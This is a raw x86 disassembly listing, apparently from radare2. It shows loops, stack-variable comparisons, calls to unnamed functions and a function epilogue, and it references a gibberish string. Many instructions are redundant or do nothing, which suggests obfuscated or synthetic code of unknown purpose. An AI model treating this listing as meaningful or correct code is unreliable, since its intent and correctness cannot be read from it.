cmp dword [ebp - 0x1c], 0x57a6
jge 0x10023a71
mov edx, str.joanlj_ujvgnh_lxkmg_yhmn_csqyifho_fxhfxido_uoyvigifq_hrfo_omfrpcaqm_hbvq_wcnofko_qheqdupvl_nia
mov ecx, 0x10075b78
call fcn.1000e4aa
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6c], 0x90350d8a
jae 0x10023a83
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
imul ecx, dword [ebp - 0x68]
test ecx, ecx
setns al
cmp eax, 1
mov eax, dword [ebp - 0x68]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x6c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x68]
jle 0x10023ace
cmp dword [ebp - 0x18], ebx
jne 0x10023ace
mov ecx, ebx
jmp 0x10023ad1
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x14]
imul eax, ecx
test eax, eax
je 0x10023b04
mov dword [ebp - 0x18], ebx
jmp 0x10023afc
mov dword [ebp - 0x14], ebx
jmp 0x10023af3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c], 0xfff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10023ae5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jle 0x10023ae0
jmp 0x10023b58
mov dword [ebp - 0x14], 0xffffffef
jmp 0x10023b23
lea eax, [ebp - 0x41]
mov byte [ebp - 0x41], bl
push eax
push ecx
push ecx
mov cl, 1
call fcn.100217dc
add esp, 0xc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1b
jl 0x10023b0d
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], ebx
jl 0x10023b58
push 1
push ecx
lea eax, [ebp - 0x44]
mov byte [ebp - 0x44], bl
push 0x7348
push eax
mov edx, 0x3eaa
xor cl, cl
call fcn.10045523
add esp, 0x10
dec dword [ebp - 0x14]
jns 0x10023b35
mov ecx, dword [ebp - 0x200]
lea eax, [ebp - 0x19c]
push eax
call fcn.10023d5b
push ebx
push 1
lea ecx, [ebp - 0x258]
call fcn.1000ca18
push ebx
push 1
lea ecx, [ebp - 0x270]
call fcn.1000ca18
lea ecx, [ebp - 0x17c]
call fcn.10023e10
lea ecx, [ebp - 0x19c]
call fcn.10023e8b
lea ecx, [ebp + 8]
call fcn.10023e10
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret